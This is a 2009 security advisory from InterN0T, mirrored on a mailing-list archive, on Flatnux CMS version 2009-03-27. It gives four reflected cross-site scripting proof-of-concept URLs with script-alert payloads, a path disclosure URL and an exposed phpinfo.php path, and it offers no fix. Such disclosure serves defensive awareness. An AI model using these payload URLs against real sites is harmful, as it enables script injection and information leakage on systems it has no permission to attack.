OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
[InterN0T] Flatnux 2009-03-27 - XSS Vulnerabilities + More

securityintern0t.net
Date: Wed Jun 03 2009 - 16:51:42 CDT


Flatnux - Cross Site Scripting Vulnerabilities + More

Version Affected: "2009-03-27" (newest)

Info: See website for more information.

Credits: InterN0T

External Links:
http://www.flatnux.altervista.org/

-:: The Advisory ::-

Vulnerable Function / ID Calls:
mod, user, from, pk & dir (some has to be used in conjunction with other function calls)

Cross Site Scripting:
1. http://www.website.tld/flatnux/index.php?mod="><script>alert(0)</script> (anyone)
2. http://www.website.tld/flatnux/index.php?mod=login&op=profile&user="><script>alert(0)</script> (registered users only)
3. http://www.website.tld/flatnux/index.php?opindex=modcont&file=misc/motd.en.php&from="><script>alert(0)</script> (admin only)
4. http://www.website.tld/flatnux/controlcenter.php?mod=controlcenter&op=03_users/20_groups&opmod=insnew_groups&pk="><script>alert(0)</script> (admin only)

Path Disclosure:
http://www.website.tld/flatnux/index.php?mod=05_Foto&dir='

Information Disclosure:
http://www.website.tld/flatnux/sections/none_Control_Center/phpinfo.php

-:: Solution ::-
I didn't bother to find one, sorry.

Reference:
http://forum.intern0t.net/intern0t-advisories/1084-intern0t-flatnux-2009-03-27-cross-site-scripting-vulnerabilities-more.html

Disclosure Information:
- Vulnerabilities found and confirmed between 1st and 3rd June 2009.
- Published at InterN0T the 3rd June 2009.
- Bugtraq contacted the 3rd June 2009.

All of the best,
MaXe